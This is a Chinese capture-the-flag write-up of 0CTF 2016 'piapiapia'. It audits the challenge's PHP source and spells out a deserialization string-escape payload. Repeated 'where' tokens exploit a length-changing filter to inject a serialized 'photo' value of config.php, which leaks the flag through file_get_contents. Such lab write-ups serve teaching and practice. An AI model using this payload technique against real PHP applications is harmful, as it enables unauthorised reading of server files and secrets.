[0CTF 2016]piapiapia
反序列化字符串逃逸
0x1 dirsearch扫出www.zip
0x2 代码审计
在profile.php处有unserialize()反序列化函数,同时发现profile[‘photo’]在file_get_contents()函数中,而通过阅读源代码发现flag在config.php中,所以我们只需要将profile[‘photo’]的值设置为config.php即可。
#profile.php
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo'])); # profile['photo']可控
经过进一步发掘,发现$profile是从数据库中拿取经过序列化后的档案值,同时发现update.php中可以修改档案值,而update_profile函数会调用父类中的filter方法进行过滤.
#update.php
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) #nikename[]可绕过
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
#class.php
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
正常序列化后的值为
a:4:{s:5:“phone”;s:11:“11111111111”;s:5:“email”;s:8:“11@11.11”;s:8:“nickname”;a:1:{i:0;s:3:“111”;}s:5:“photo”;s:10:“upload/234”;}
如果将nikename构造为,wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:“photo”;s:10:“config.php”;}
因为filter函数将where过滤为hacker,每多出一位就会挤出一位,由于";}s:5:“photo”;s:10:“config.php”;}有34位那么就需要34个where
注意点:这里有一个坑点,由于要绕过长度限制的正则,因此nikename我们设置为数组,在构造值的时候要多一个}
a:4:{s:5:“phone”;s:11:“11111111111”;s:5:“email”;s:8:“11@11.11”;s:8:“nickname”;a:1:{i:0;s:204:“hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker”;}s:5:“photo”;s:10:“config.php”;}";}s:5:“photo”;s:10:“upload/234”;}
最后bp抓包上传payload即可